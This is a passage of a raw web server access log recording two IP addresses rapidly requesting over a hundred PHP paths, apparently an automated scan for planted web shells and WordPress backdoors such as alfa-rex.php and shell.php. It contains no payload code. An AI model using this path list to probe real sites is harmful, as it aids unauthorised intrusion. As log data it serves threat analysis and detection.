HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:15 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:16 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:16 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:16 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:17 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:18 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:18 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:18 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:19 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:19 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:19 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:20 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:20 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:20 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:20 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:21 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 